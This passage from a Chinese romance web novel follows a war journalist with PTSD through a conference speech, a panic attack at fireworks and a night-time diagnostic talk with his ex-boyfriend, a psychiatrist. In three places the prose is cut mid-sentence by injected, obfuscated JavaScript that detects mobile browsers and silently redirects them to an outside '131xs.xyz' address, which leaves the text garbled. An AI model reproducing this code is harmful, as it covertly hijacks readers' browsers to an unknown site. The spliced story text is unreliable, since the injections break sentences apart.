一模一样的情境,李和铮要这样抱他,而他没放任自己去接受。现在的李和铮明显也需要。 李和铮便上前,没有回抱他,只是弯下身把下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679439|173217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巴搭在他肩头,没处放的双手抄进了裤兜。 “受委屈了。”骆弥生拍拍他的背。 “是啊。”李和铮的下巴颏搁在他肩膀上,说话时顶得脑袋上上下下,像僵尸与大夫耳鬓厮磨,“所以你明白为什么我一直建议我们保持距离吗。” “怎么说。” “正常人都知道旧情人不做朋友,我们常常待在一起,别人默认我们有一腿。当然了,我不管别人怎么想。只是感情诉求不对等,对你不公平,我也不需要。” 骆弥生想了想,收紧抱着他的手臂:“你是现在需要得太少了。慢慢来,你会重新有其他需要,别拒绝我。” “唉。may,你原来不这样。”李和铮直起了身,面上已没有任何情绪波动过的痕迹,好整以暇地笑,调侃他,“是不是年纪上来了,人都会变得有点爹。” “我好歹也要三十岁了。”骆弥生先拨开了门锁,“去抽烟吧,再待久了别人以为我们在干嘛。” “咋,又可惜上了?”李和铮痞笑。 “是挺可惜。”骆弥生跟着他一起跑带颜色的火车,“希望以后能试试。” “哈哈哈你……我操。” 在常开国际性大会的会展中心的……男卫,两个西装男从一个隔间里挤出来,和一个躬身洗手的唐装男在洗手台上的镜中对视,卫生间里瞬间鸦雀无声。 穿着藏蓝色唐装的唐未徊袖口挽着一截鸦青色的边,越发衬得腕骨白皙而有力,让人不由得把视线聚焦在那双正在被水流冲刷的手上,它们修长、指节分明,在水花中翻转,灵巧如柔荑。 他慢慢直起腰,率先移开目光,垂首,掏出一块苏绣的丝绸手帕,擦净了这双被上了千万保金的手,才转身面对他们。 李和铮根本不想面对他。 ——怎么净是这种让人误会八遍不到天黑的事儿?!显得他们清白得很亏啊! 知道这对便宜兄弟向来不对付,骆弥生压住尴尬,率先打招呼:“唐老师,好久不见。” “骆大夫。”唐未徊冲他礼貌点头,声线冰冷如玉石,眼瞳黑得纯正,亚洲人少有这么黑的眼睛,皮肤又白,配上他国风的扮相,全是非遗传承人的包袱。李和铮从小就觉得他是从哪个大墓里爬出来的,是水银打多了行为才刻板。 两人打照面,一个牧魂鬼,一个要被逮走洋鬼子。 他俩人懒得跟彼此说话,装都不装,见到就算问到,骆弥生只好继续打圆场:“我们……准备出去抽烟,唐老师一起吗。” 李和铮心说解脱了,大家客气一句得了……唐未徊竟然会点头! 就这样,三个人站到了会展中心的门外的吸烟区,唐未徊没带烟,抬手从李和铮的烟盒里抽走一支的同时,看着他,问出经典问题:“你们复合了?” 人类这么爱八卦,连不像人类的冰块儿男都关心这个。 李和铮对他皮笑肉不笑地牵动嘴角:“是啊,复合了。” 骆弥生被一口烟呛得猛咳嗽,顾不上狼狈,一双杏眼瞪圆,看向李和铮。 什么意思?! 21. 演说家 骆弥生失态得太突然,李和铮无奈地抬手给他拍拍背:“你这样不就露馅儿了吗?” “你没提前跟我说。”骆弥生从咳嗽间隙挤出话来,“我以为你……” “我刚决定的。以后有谁再问这个问题,我就这么答。”李和铮耍无赖,掐着烟的手向前一摊,“反正你也不听我的,越来越多人看着我们,我还得一遍遍地解释。人以为我们有病,既不复合,还搞暧昧。” 唐未徊看着他俩表演,抓住了这一句:“所以你们在搞暧昧。” “去。”李和铮冲他挑眉,“以前不见你这么多话。” “最近多了新的人生体验,适当关心一下你。”唐未徊冷冰冰地说着貌似很有人情味的话,灭了烟,也不等他俩,率先回会场去了。 “我是不是今天出门前应该看看黄历。”李和铮看向咳得脸通红的骆弥生,本来情绪不高,想刺人两句,看他这稳当人被迫摘了眼镜,掏兜找纸,要去擦咳出来的泪,突然觉得特好笑。 他抬臂圈住他的脖子往这边带,小男孩打闹的姿态,骆弥生脚下踉跄,往前扑,搂住他的腰。他另一手用袖口,猫洗脸似的去给他擦泪。 “哎你衣服……”骆弥生挣扎着往后躲,重心不稳,李和铮还有一条腿还不好受力,两个西装男像圆规一样,上头束着,底下晃晃悠悠地在大门口转了两圈才站稳。 “衣服啥啊衣服,这一天就知道衣服头发的。”李和铮给他把泪擦干净,哼笑,把他从怀里推出去,“瞧你那点出息。” “你下午还要上台,我有义务监督你的形象。”骆弥生站正身,重新戴上眼镜便恢复了常态,抬眼直视他,“所以呢?” 李和铮了然地笑了笑:“想听什么?” “我当你愿意给我这个机会了。”骆弥生下医嘱般沉着地确认。 “不论我给不给,你不是一直都在这么做吗,有什么区别。”李和铮手里把玩着刚才蹭掉的嘉宾证,漫不经心。 “那,比如,羚羊问我们有没有复合,我应该怎么答?” “套我话呢,骆大夫。”李和铮转身先往餐厅的方向走,“随便你怎么说,你我心知肚明就行了,无所谓别人怎么想。” 骆弥生在原地顿了片刻,体味他的意思,并把这视为某种进展的信号,追上去的脚步轻快了许多:“你饿了?” “这会儿回去也结束了。”李和铮最擅长无视一切规章制度,上学时候听讲座他不去,现在来开大会了,更没人能管他了。 骆弥生自然是跟着他,两个人光明正大地提前开饭,在临湖的自助餐厅里消磨时间,欣赏怀柔的青山绿水,正午依然有空濛的雾气。 早上一通穷折腾,这会儿两人心情都很安宁,等骆弥生想起来自己刚才在会场里给手机开了静音时,他的电话已经快被打爆了。 骆弥生:…… 李和铮靠在椅背里,双手后垂,布料都朝后抽,身上绷起的肌肉线条惹眼,人却百无聊赖地咬着叉子,挑眉看他:“咋了。” 最上面是大会总控组的负责老师,骆弥生对自己无奈,先给这个回。 电话秒接,一口京片子轰炸:“哎哟骆老师!您老人家可算接电话了!您和李老师去哪儿了?快快,下午圆桌要用的背景图,就差您俩的了,哎哟喂!怎么就找不着人呢?!” 骆弥生头大,他没有过这种不靠谱的经历,跟着某人跑路出来搞成这样,感觉无地自容:“实在抱歉老师,李老师和我在一块儿,您说要什么图,我给您送过来。” 李和铮不明就里地继续用叉子扎起鸡翅啃。 骆弥生一边和人家说话,一边受不了地拿起餐巾纸,把他的叉子抓过来,鸡翅用纸包着,重新放他手里。 李和铮:…… 他嘴角抽抽,把鸡翅扔了,一手在脑袋边上指着转了转,点了点骆弥生,问他是不是有病。真当他一个三十多岁的大男人幼儿园吗,这也要管? 骆大夫完美呈现打电话的人没脑子,顾不上回应他,李和铮多少听出他们俩差点错过交下午要用的东西,半点不关心。 谁让大会要现挂,活该找不到人。 骆弥生起身示意他跟上。 李和铮考虑起现在原地辞职的可能性。想归想,还是跟上了。 他们回车里取电脑包,西装革履的骆弥生拎着他俩的包一路狂奔,李和铮在后面不紧不慢地一瘸一拐。 不得不承认,这种时候会觉得有骆大夫代劳挺好的。如果没有骆大夫,他只能自己干了——他自己也不是干不了。 啊,感恩的心。 不能再想了,再想容易给前男友发好人卡。 李和铮对自己笑笑,不管骆弥生已经跑没影儿了,又靠在大厅门口,赏着山景抽着烟,象征性地回了回满世界找他的消息,等了二十多分钟,骆弥生给他打电话,才慢吞吞地挪回会场里。 下午的会谈说是圆桌,实际上是在偏厅里的舞台上摆了一长排沙发,桌子都没有。不知道是谁排的座位,这么一群小于等于四十岁的“青年学者”聚集起来闲扯淡,李和铮竟然是C位,左手是骆弥生,右手是唐未徊。 李和铮在台侧候场,看着大屏上他名字上面的头像,居然是他在刚果金时头戴遮阳帽脸涂迷彩肩扛摄像机远眺的侧身照,一眼望去极其刚毅,好像他扛的是一门火箭炮马上要冲锋陷阵,立马被尬住。 “艹,有病吧?” “你照片刚交上去,骆大夫从你电脑里挑的。”唐未徊活见鬼地出现在他身边,一袭唐装双手背后站得笔直,比他这二洋鬼子更像李连东的亲儿子,手上就差拎顶鸟笼。 “我说骆弥生有病吧。”李和铮睨他一眼,“你怎么转性了。” “我有人情要还,得来。”唐未徊言简意赅,不多说自己,转眼也睨他,“想好说什么了吗,只有你的材料不是自己备的。” “嗐,要说临场发挥,这辈子没怕过。”李和铮嗤笑一声,“就是不知道什么颗粒度,主题不是教育顺应时代浪潮吗?我怎么知道浪潮是什么,我怕我聊点不能播的。” “和骆大夫提前对对。”唐未徊善意提醒。 “那我谢谢你。”李和铮根本不听。 “没事。我挑了几张你原来的作品,你看着讲。”交完所有东西的骆弥生终于从总控室里钻出来,插入了他们的对话。 他理过自己的头发,拉平皱起的西装。而后径直抬手,把李和铮额发掉下来的一缕用手指捻在一侧,仔细捋,活像化妆师给艺人补妆。 李和铮本能地想躲,看到唐未徊冷眼看着,不躲了,冲他咧嘴一笑。 唐未徊移开目光,心说还是和以前一样幼稚,没半点长进。 李和铮心中也暗爽,想你这冰块人打了半辈子的光棍儿,我好歹还有个前男友。 骆弥生把他俩人的目光交汇尽收眼底,无奈地轻轻叹了口气。 “主持人会给话头,”他对着两个人提醒,“咱们就讲个人经历,结合现在教学中的实例。” “道理我都懂,我为什么坐中间?我才当几个月老师。” “因为你有普利策。”骆弥生中肯地,“这个大家都得认。” “喔~”李和铮冷笑声,“非遗也不行?” “嗯。”唐未徊接话。 ……不想多说了。 人总是这样,困在讲台上时想念草原上不停歇的风,这会儿不得不坐在聚光灯下扮演“教育者”说冠冕堂皇的话,又觉得不如站上讲台来得亲切。 他以为自己是足够了才回来,回来后才发觉,他总是不知足。 李和铮兴趣缺缺,便保持沉默。他不说话,骆弥生和唐未徊也没必要尬聊,等别的参会老师走过来,看到的就是这么三个安静的人。 本就踩在地毯上没声音的大家都不由地放轻了脚步,一起沉默。 戴着耳机举着对讲来提醒备场的现场导演冲过来,冲进一片鸦雀无声里,脚步迟疑,满脸茫然:“老师们……准备好了吗?” 李和铮笑出声:“您看我们都紧张得不敢说话了,赶紧开始吧。” 大家都笑笑,这才交流起来。 台下的机位都就位,主持人在台另一侧比手势,舞美在对讲里喊变光倒计时,骆弥生在导演的示意下,把李和铮推到了最前面。 新晋李老师上次登台是去领普利策奖,这回竟然伪装成教育者了,自己都觉得招笑。 他在主持人说完开场白后,从容地迈步上台阶,在瞩目下拖着瘸腿,每拐一步都迎着数道闪光灯,坐到了最中间的沙发上,坐下后才冲台下那些曾经的同僚们、来旁听的学生们,点头致意。 一片低低的惊呼。毕竟他今天的男模造型和背后的战士照片形成了极大的反差。 李和铮双肘支在沙发扶手上,双手交握,好的左腿收回来,瘸的右腿伸出去,比起一左一右两位坐得笔直来参“会”的,他纯粹是参“谈”的。 谈什么,全是骆大夫给他准备的盲盒。 在主持人吧啦吧啦地介绍过他的情况后,李和铮接过传过来的话筒,举在嘴边,顿了顿,先笑了。 作为此刻场上最了解他的人,骆弥生心想,这不就是“一想到自己接下来要说什么就想笑”的那种笑吗,真是完蛋了。 果然,青年教育者李和铮老师开场第一句就像是来砸场子的:“其实我不觉得我配坐在这里。我并不完全认同我教育者的身份。” 小范围的哗然,闪光灯哗哗响。 “如各位所见,”曾经的王牌辩手一句话炸场后侃侃而谈,“在过去十年间,我一直生活在战争附近,我所从事的职业在一部分人眼里,具备某种强烈的教育意义。那是因为,在我们约定俗成的语境中,战地记者肩负着揭露战争真相的使命。一旦谈及使命,它总是高尚的,英勇的,伴随着时刻准备壮烈牺牲的无畏精神。” 李和铮稍作停顿,甩甩手里的话筒,又笑笑:“实际上,对我来说,那只是在我二十岁出头不知天高地厚时,唯一能接受的一种生存手段。” 台下众人纷纷交头接耳,窸窸窣窣的声响。 “那时我自命不凡,想我应当去最危险也最自由的地方,自由到连生命都不能由自我掌控,去探寻、验证我生命存在本身的意义,去过让我在二十三十乃至五十年后、回首过往,认为我没白活的那种生活。于是我去到了许多在座的各位一辈子都不会去的地方,见到了许多人类不应该用肉眼见识的场景。” 李和铮接过骆弥生递到他手里的蓝牙线控,翻页的同时回头看。 大屏上,被放大数倍的照片撞入他的眼睛。他惊觉,他甚至可以精确地记得这张图摄制在哪里、哪天,他配了什么样的文字,传播覆盖了多少国家…… ——也门干燥荒凉的街道上,战火中的人们摆起了市集,一位老妇人的摊前蹲了两个骨瘦如柴的小孩,他们在观赏老妇人种在巨大导弹外壳里的花。 李和铮没有说话,扭身背着台下的神情肃穆,是那些震惊于他的演说的人们看不到的样子。 ——黎巴嫩难民营的孩子们在布满弹孔的断壁残垣中,有的孩子还在用砖头在地上画线,有的孩子已经开始跳格子,背后,看守他们的大兵正在给手中的机枪上缠捡来的彩色飘带。 ——染血的破旧衣服,残缺的书本,碎了的转笔刀,和一堆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679440|173217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 砂石,右上角一只沾满血污的脏手。 ——血迹斑斑的胸口特写,半块怀表中依稀可见的一家人的合照。 ——浓烟中,一片朝着镜头发射来的弹片碎片。 李和铮心想骆弥生真可以啊,他电脑里那么多照片,净挑了些能装逼的大作。 硝烟早就再次弥漫在他周身,他回去了。这些照片何尝不是定格了每个过往的他。 他出了满手的冷汗,喉咙发紧,几乎握不住话筒。 骆弥生时刻关注着他的情况,眉心微蹙,去捏他的手臂。 李和铮轻轻摇下头,平复片刻,转回了身,在再次激烈起的闪光灯下,冲着台下微笑,语气上听不出任何破绽:“所以,列位,很抱歉,作为一名新晋教育工作者,基于我过往的所有经历,我尚且没法说我在教学工作中怎样顺应时代浪潮。在战火纷飞处时代二字本身不具备意义,他们被我们的时代抛下,他们也被定义成一个时代。这浪潮中既有你,也有我。” 他又顿了顿,尽力克制着恐惧,保持着得体的笑容,为自己的演说收尾:“但我现在确有一方讲台,勉强也算教书育人。我带着我这门《战地报道实务》的编者的期待,用前人的经验、我自己的经验,去教授。而在我之后,前赴后继奔赴战区的后辈同僚们,在所谓的浪潮中,是淹没他们,是托起他们,我们没人能给出答案。新闻求真务实。以上。” 刹那间掌声雷动,许多人起立,把手举得高高的,想提问。 李和铮尽力不让自己把那些手当成投降的双手,不动声色,把被汗打湿的话筒递到骆弥生手里。 他早就自身难保。在他自己的“时代浪潮”中,实在无法回应任何人的问题。 —————— 第一天的议程不完美也完美地结束了,李和铮在会谈上的所有言论一炮而红,各家媒体忙不迭地抢时效,等他们被迫参加了主办方的晚宴、喝了十好几轮后,许多人都看到了他的短视频切条。 深耕大学生心理健康这个重要领域的骆弥生同样是被敬酒的重要对象,从宴会厅出来,已经有点喝飘了,步子晃,失了许多克制,西装外套拎在手里,一直低着头刷手机,去看网上那些人怎么说李和铮。 可怜千杯不醉的李和铮一个瘸子,还得管这个半醉的前男友,拽着他的胳膊,让他走直线。 他们原定计划是晚上要返回家里的,所以没跟教研室报名住宿,这会儿已经九点多了,叫代驾折腾回去没必要,骆弥生晃了晃手机:“旁边是凯宾斯基,还有空房,我订好了。” “哦,这个贵。订一间对了。”李和铮不醉,但困炸了,打个哈欠,俩人一起晃晃悠悠。 “嗯,是一间,只剩套房了。”骆弥生如是说。 “……骆公子,这回能让小的为您分担点资金支出吗?”李和铮叹口气,“包养我呢。以为哥们儿这么多年白混的?” 骆弥生便拿过他的手机,解锁——到底是哪个瞬间过后这对旧情人共享了手机电脑这等隐私的——找到自己的微信,给自己输入了一百块的转账…… 李和铮让他气得只能笑:“你家凯宾斯基套房一百块是吧?” 还没等转出来,页面一变,来电显示是白逐雪,骆弥生把手机递还给他。 李和铮无奈,只能接起来,懒洋洋地拖长声:“又怎么啦?我亲爱的老姐姐。” 白逐雪不管他贫,语气严肃:“你今天见到周泽辉了?” 李和铮停下脚步,神色立时冷下去:“你消息挺灵通的。” 身侧的骆弥生注意力总在他身上,哪怕这会儿已经不完全清醒了,仍注意到他的神色。他先看看周围,在往来的人群外看到了一扇玻璃门,拽着他的袖子,把他带到一旁的露台上。 “今天现场也有咱们的人,本来是要去跟你打招呼的,看见你俩在说话,就没过去找你,刚回来才跟我说的。”白逐雪絮絮叨叨,叹口气,“你现在怎么样?” “好得很。”李和铮眉心微蹙,靠在露台的栏杆上,垂下眼,看着右手掌心中一道斜着的刀疤,“你打过来是专门问这个的话,谢谢关心,我挂了。” “等等,”白逐雪有点着急,“你听我的,老李,有病得治。你趁着现在去住一段时间院,整体调整好,我后面还等着你去加……” 李和铮挂了电话。 四月末的山里昼夜仍有极大温差,夜深露重,云层堆积,露台背后是重重山影,在昏黄灯火与稀薄月光下没有白日里的疏朗,反有黑云压城之势。 对上骆弥生令自己强行醒酒后的审视,李和铮定了定,才笑,嘲解地:“我看起来很需要被监护吗,怎么你们一个个都让我听你们的。我没有自我判断?” 骆弥生抬起双手,不容他反抗地捧住他这只手,垂眼看他掌心的刀疤:“之前想问来着。” “我们五好公民在你们心理医生眼里是不是透明人啊。”李和铮尽力让语气如常,克制着瞬间顶到喉头的不悦,“不给人留点隐私?” ——提到周泽辉,他下意识地看了手上这道疤,这行为如果骆弥生捕捉不到,他白当这么多年的医生。 “严谨点,我是精神科医生,前。”骆弥生想缓和他的情绪,用指尖摸过那道疤,“给我讲讲,我们慢慢讲。” 李和铮想把手抽开:“太肉麻了大哥,你是要看诊,还是调情……” “砰!”身后一声巨响。 砰——砰——砰! 烟花被接连炸上天,李和铮全身僵直,灿烂绚丽的流火打破了夜的寂静,无数斑斓的色彩中,许多人欢呼着冲上了露台,而那些滑落的光,照亮了他瞬间被惊恐浸染的眼睛。 22. 诊断中 晚宴散场后的夜晚总多几分寂寥,突如其来的烟花秀再次烘高了气氛,冲上露台的人们在李和铮周围欢呼,拍照,对着烟花许愿。 在一片纷乱的声响中,李和铮调动起极大的心力才让自己明白,礼花炸开的声音不是空袭,身边的喊叫也不是人类的哀嚎。 他置身在一个安乐祥和的学术之夜,在空中炸响的色彩是浪漫的,这是在安全的地界儿里的一场盛会。 他的眼前还有被他爆出来的反应惊到的骆弥生。 微醺的骆大夫保有极高的职业素养,看他这狼狈的样子,眉眼压了下来。 李和铮自觉笑得很虚弱,好好的人被烟花吓成这样未免又凄惨又好笑。但这会儿着实有种虚脱的感觉。骆弥生上前一步,要撑住他。 李和铮便搭住他的肩膀,以他为某个支点,强撑着开个玩笑:“快离开这是非之地,走吧,享受一百块的套房去。” 骆弥生皱眉搂住他的腰,托住他的脱力:“你比我预想中的要严重很多。” “平时不至于,今天连环撞大运。” “呸三口。”骆弥生冷声说。 “青年教育工作者不要这么迷信。”一迈步,李和铮莫名其妙地感觉腿更疼,一挨着地就疼,恨不得单脚蹦着走的程度,“哎我操,等等等……” 他定住抻抻腿,没缓解,伸直疼,屈回来还疼:“哎不是,我抽筋了这是?” 骆弥生眉头皱得能把谁夹死:“这次回去你能去我妈那里系统检查吗,这不行。” “我相信你的医术,你凑合看看得了,”就这么一会儿的功夫李和铮疼得冷汗出了满身,龇牙咧嘴地,“别没事儿把我往你妈那里塞。” “那由不得你。”骆弥生承担着他的大半重量,两人一步一晃地往外走。 “大夫,”李和铮咬牙切齿,“咱能不说这种霸道总裁台词吗。” 临时霸总继续说:“我背你。” “背得动吗你。”这回李和铮真笑了,“还嫌我不够丢人。” “这没什么可丢人的。这是你在战场上受的伤,没有人能有资格评判你丢人。”骆弥生正色,眼镜微微滑落时在近距离下看向他,眼前模糊,“何况,就算你天生是个瘸子,也没人能说你丢人。” “啊行行别念了,”李和铮哭笑不得,疼得额角青筋暴起,“你醒醒酒吧。到了酒店你就直接睡,我怕了你。” “别想蒙混过关。”骆弥生胸口堵到嗓子眼儿,语气生硬,搂着他腰的手紧紧的,生怕他会摔,“我要听你说完。” “你现在真是挺爹的。”离开了鼎沸的人声,远离那种强行欢快起来的气氛,李和铮终于缓过来点,语气平淡地说陈述句,“这样会招人烦,大夫。” “嗯。”他说什么就是什么,骆弥生应了,“你可以烦我,但我是个医生。” “对我见死不救不会有人谴责你,我也死不了。”李和铮撑着他的手从外侧拍了拍他的肩膀。 “你还是留着话等会儿说吧。”骆弥生收回目光,垂下眼,去看他疼得一踮一踮的腿,思索着,怎么想都觉得不对劲。 临时入住的两个人什么行李都没带,进了套房,李和铮被骆弥生撂在沙发里,他把瘸腿伸长搭在茶几上,才终于感觉痛感减轻,自己拿手机点了盒布洛芬送来。 骆弥生给骆叶月打电话,让她下去一趟,把他们俩的另一身西装还有发胶这些必备的家伙事儿都闪送来酒店。 姐姐兴味盎然地调侃:“早上妈和我说见到小和了可惊讶了,你们进展挺快嘛。” “其实什么都没有。”对着姐姐说了实话,骆弥生转眼看看瘫在沙发上闭上眼睛的李和铮,“……慢慢来。” 他们挂了电话,李和铮才嗤笑一声:“慢来啥啊。一天天吃饱了撑的给自己找事儿干。” “嗯。”骆弥生坐到了他旁边的单人沙发上,“你想先去洗澡,还是先聊聊。” 李和铮在顶光下冷眼看着他,有些不耐烦地扯松了领巾,随手扔到一边:“你不困吗,熬他妈一天了。” “我没法对你冷眼旁观。”骆弥生起身收起他扔下来的衣物,“如果你觉得坐这里不想聊,我们去浴室里聊。” “你对别的患者也这样吗。”李和铮把自己从出了一层冷汗的衬衫里解放出来,接过骆弥生递过来的浴袍,随意套上,带子系得松松垮垮,摸摸被捂了一天的脖子,转了转头活动下,用手指把发胶强行梳开,“艹,头皮都疼。” “没有患者,是我在撒酒疯。”彻底清醒的骆大夫如是说,强行坐到了茶几上,坐在他对面,直视着他,“公平起见,你看了我的处分单,你给我讲一道疤的事。” “如果我说滚蛋。”李和铮冷冷地看着他。 “那我只能明天再问。” 李和铮叹口气,手捂在脸上:“……行吧。” 他在心里做了个决定。 布洛芬到了,没有热水,骆大夫正在想着给前台打电话去要,李和铮已经把药片生吞,抬手拽他,把他按在身侧的沙发上,把掌心摊开给他看。 “我这人从小没什么朋友,这你知道。以前除了你,我舍友也没跟我走很近。” “我知道。”骆弥生定睛看那道疤,当即心头一跳,皱起眉。在很危险的位置,在大鱼际区最下端,所幸看增生的程度不那么深,如果再深一点,会影响屈肌腱,再往右偏一寸会伤到桡动脉,那样这只手会和他的腿一样废掉。 “周泽辉算一个。”李和铮任他捧着这只手,平淡地也看着那道疤,“其实没那么多能讲的。我换完膝盖后第一站是哥伦比亚,那时候是去拍武装势力的暴力冲突……我觉得你能猜到。” “嗯,我能猜到。”骆弥生抬眼,与他对视,补齐了他不愿意说的话,“膝盖坏了你没被吓到,你本来不会患上ptsd,你做完手术后才知道那位同事竟然因为对食人花过敏而死。” “行,继续。”李和铮感到不自在。 他是一个已经独立很久、很久不曾与谁交心的成年男人。 此前,在他做了撤回来的最终决定后,白逐雪不止一次地催促过他赶紧去挂个安定科把病看好。 而他百分百介意被任何一位精神科医生看穿他的隐私,也不愿讲述,因为他承受不了这种“被看穿”。 压抑在心底最深处的东西,不能被剖析的,呼吸时都会缠绕的痛苦。 现下,对方是曾经亲密无间的旧情人。从前足够的亲近令他多少还能耐着性子,在这个不那么美好的夜晚,听他讲出来的仿佛是别人的故事。 “在你眼里死亡本身没有区别,是否崇高是否伟大都是人为赋予的意义,但他作为一名战士,甚至不是死在正面战场上,他因为过敏死去,算不上牺牲,连骨灰盒上都不能覆盖金红相间的布。” “你为此憋屈,每天都想不通他为什么会因为这种事死,这种死法不在你的‘死亡审美’里,太无力。再对比在安全的国内做完手术的自己,不仅保住了命,也保住了腿。由此,产生了强烈的幸存者综合征。” 李和铮慵懒地笑了两声:“行,骆大夫,专业精湛,妙手回春。是不是上次吃饭你就听出来了。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679441|173217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “是,我记住了,但一直找不到合适的机会和你聊这个话题。”骆弥生摸着这道疤,“我可以继续说?” “你能直接说完还追问我干嘛,故意的。”李和铮仰头靠着沙发靠背,睨着他,布洛芬正在生效,腿上舒服多了,人也精神许多。 “如你所说,心理医生侵犯五好公民的隐私,需要得到许可。” “少扯两句。我马上就睡着了,还得洗澡。”李和铮反手拍他的手背,啪一声脆响,收回手,改为双手抱臂,防御的姿态。 骆弥生不动声色,继续他的推断:“周泽辉是你抵达哥伦比亚后遇到的第一个同事。不论他站长的身份,还是他对你……咳,对你有意思,总之,他对你照顾有加。” “而你习惯性投桃报李,别人对你示好你就不会忽视他,这一点我最了解。” “了解还是利用?”李和铮揶揄他。 “了解并利用。”骆弥生很坦诚。 “行呗,换句话说就是知道怎么拿捏我心软。”李和铮笑笑,“但你知道那代表不了什么。” “我知道。我继续说。”骆弥生压住属于个人情感的那部分情绪,继续说作为医生的诊断,“周泽辉在你幸存者综合征初期出现,你对上一位同事的补偿心理投射到了他身上。加上他的示好,你们两个很快变得很铁。” “你从业多年没怕过任何第一现场,只有在那段时间里,你发现你看待战争的视角变了。” “这你就让人很毛骨悚然了骆大夫,”李和铮终于皱起了眉,“这都是能判断出来的?心理医生是侦探?” “不是,”骆弥生只能保持着诚实,“因为你的每篇报道我都在看,你的笔触变了,思维变了,知道你那时候一定发生了什么事。” 李和铮定定地看着他,眼中满是不悦。 骆弥生迎着他的目光,继续说:“……因为头一次产生对战争的恐惧,你知道自己终于得了这个战地记者群体里几乎人人都逃不脱的病。而你第一次真正剧烈发作,应该是与周泽辉有关。” “为此我大胆猜测……这道刀疤,斜着切下去,是因为,你替周泽辉挡了一刀……应该说是有人要捅他,你冲上去握住了刀刃,对吗?” 李和铮不说话。 刺挠。 真是刺挠。 “在那之后,你们两人的关系推上了高点,可周泽辉这个人与你不同。他有更明确的其他目的。” 骆弥生倾身靠前凑近他,在看诊时的一点小手段,肢体语言的诉说在逼出关键信息时有至关重要的作用:“在那之后,发生了什么,让你们的关系出现了转折,让你的症状加重?” “侦探游戏开心吗。”可惜李和铮对骆弥生的任何肢体语言都不起效果,因为曾经太亲近,这样粗浅的拉近距离起不到任何作用,并且现在的他,对他竖着一道屏障。 他笑了笑,站起身,腿不疼了,微敞的浴袍飘飘,往卫生间走:“果然。这种感觉真是差爆了。” “我有处方权,”骆弥生追上他,再次强调这一点,“不论是你的腿还是这份心病,我都能给你对症下药。你接受不了别人,我更希望你能当我是个可用的医生。” 李和铮一巴掌拍在卫生间的门框上,挡住了门,冷眼看着,拒绝了骆弥生要跟着他进的势头:“大夫,慧极必伤,不要在我身上多下功夫。” “无论出于什么身份,我都不能……” 他被打断,门铃响了,闪送来的西装到了。 李和铮在下一刻反问:“这十年,你看我的报道,你有什么观后感?” 23. 密码锁 自重逢后,李和铮第一次对他们二人之间空缺的那十年发出质疑,以这样一个不痛不痒的问题。 这会儿只是话赶话到了这个当口,实际上他并不好奇可能出现的回答后意味着什么。 执着于想给他开点药的骆弥生被他的急转折带走,顿了顿:“……我先开门取东西。” 李和铮倚着门,等待着热衷于扮演造型师的旧情人把明天要用的第二套西装挂起来,收拾了他姐额外送过来的几个小玩意儿,再回来站定在他面前,已经失去了问话的兴趣。 骆弥生正要开口,李和铮打断了他:“行了。洗漱吧,我真累了。” 又一次被打断的骆弥生眨巴下眼:“但你之前问过我这个问题。” 李和铮挑眉:“什么时候?” 骆弥生一怔:“你不记得了?” 李和铮莫名其妙:“我没问过,我记得什么?” 骆弥生脸上闪过转瞬即逝的惊讶,随着他移开目光,消失不见。 “你先去洗澡吧,我去把衣服熨了。” 李和铮多一个字都不想说,关上了卫生间的门。 他有种很明确的感觉:这场没有目的的无聊游戏快要到头了。 他是追求直线结果的人。现在,所有能通向结果的环节都结束了,那还有什么耗下去的必要。 发胶洗起来很麻烦,但洗掉了舒服会加倍。 短短一日发生了太多不该发生的事,见到了一辈子都不想再见的人,某些画面的闪回是病理性的。李和铮强迫自己放空思绪,在热水的包裹中,尽量把和周泽辉相关的一切全都抛之脑后。 洗完澡骆弥生还在摆弄那些瓶瓶罐罐,他出来时头发还滴着水,浴袍带子也不系,大剌剌地挂着空挡,晃悠着往卧室走。 身后皮鞋鞋跟敲击地面的脆响,一块毛巾被扔到了他头上:“这天气还是会感冒的。” “别管我就是对我最大的照顾。”李和铮没回身,抬手按住,随便擦了擦头发。把毛巾扔到一边,把自己扔到床上。 刚把被子踢开拉上来,骆大夫拿着一袋刚开封的内裤过来:“黑色的吗,还有灰的。” 李和铮眼睛都睁不开,仰躺着,眯着眼睛看他,刚拽上来的被子一脚被他踹开了,无声地表达了“烦死了懒得穿要么你给我穿”的意思。 骆弥生移开目光,给他把被子重新盖好。这个人有时候任性的点让人拿他没半点办法。 灯灭了,皮鞋声轻轻,李和铮坠入了梦境。 梦里呼啸的风吹个不停,一望无际的焦土上,无凭依的枯黄的枝桠根根分明,在他不经意地远眺时,蓦地张牙舞爪地冲他追上来,每一根都无限延伸、无限逼近,枝头是一口口漆黑幽深的枪管,是一柄柄直指他喉头的锋刃。 